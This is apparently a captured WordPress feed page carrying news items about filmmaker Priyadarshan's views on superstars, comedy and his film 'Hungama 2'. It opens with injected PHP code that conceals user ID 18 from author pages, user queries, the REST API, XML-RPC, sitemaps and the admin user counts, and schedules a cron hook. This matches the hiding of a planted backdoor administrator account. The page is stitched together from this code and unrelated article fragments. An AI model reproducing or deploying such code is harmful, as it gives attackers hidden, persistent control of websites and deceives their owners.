add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Tomorrow, the content will be the “Superstar” : Priyadarshan appeared first on The Edge Media.
]]>While his films with the superstars ranged from dramas to comedies, the 64-year-old director, who has been making movies for nearly four decades across genres and languages, said the viewers today reject films they don’t find authentic.
“The industry has changed. I think this is the last era of superstars. Whoever is enjoying today, Shah Rukh to Salman to Akshay… they should be thankful to God. Tomorrow, the superstar will be the content.”
“I can see how films are taking a more realistic turn. You can’t exaggerate without a believable situation. Even in a comedy or a serious film, the make-believe should look right. I don’t think any film can fail if it looks convincing,” Priyadarshan said.
The filmmaker is currently gearing up for the release of his latest feature, “Hungama 2”, scheduled to stream on Disney+ Hotstar from July 23. The comedy will mark his return to Hindi films after the 2013 action drama “Rangrezz”. Though Priyadarshan was known for comedies, his Hindi projects in the last decade –“Aakrosh”, “Tezz” and “Rangrezz” — were more in the realm of drama.
The post Tomorrow, the content will be the “Superstar” : Priyadarshan appeared first on The Edge Media.
]]>The post I measure the humour in my movies by the width of my smile, says Priyadarshan appeared first on The Edge Media.
]]>Creating the perfect situation for comedy is difficult and making people laugh even more. I make sure, first, whether I can laugh or not. Because I generally don’t laugh (that much), I am a miser in laughing. But once I know I can smile, I am assured in theatres I can make people laugh. That’s how I measure it and have been doing it for the last 39 years,” Priyadarshan told PTI.
The director began his career in Malayalam cinema in the early 80s and is credited for helming some of the most acclaimed, entertaining comedies of the era, right from his directorial debut Poochakkoru Mookkuthi (1984), Boeing Boeing to Mazha Peyyunnu Maddalam Kottunnu among others.
Priyadarshan is currently awaiting the release of his latest Bollywood comedy, Hungama 2, scheduled to be premiere on Disney+Hotstar on July 23. The film will mark the filmmaker’s return to Hindi cinema after the 2013 action drama Rangrezz.
The post I measure the humour in my movies by the width of my smile, says Priyadarshan appeared first on The Edge Media.
]]>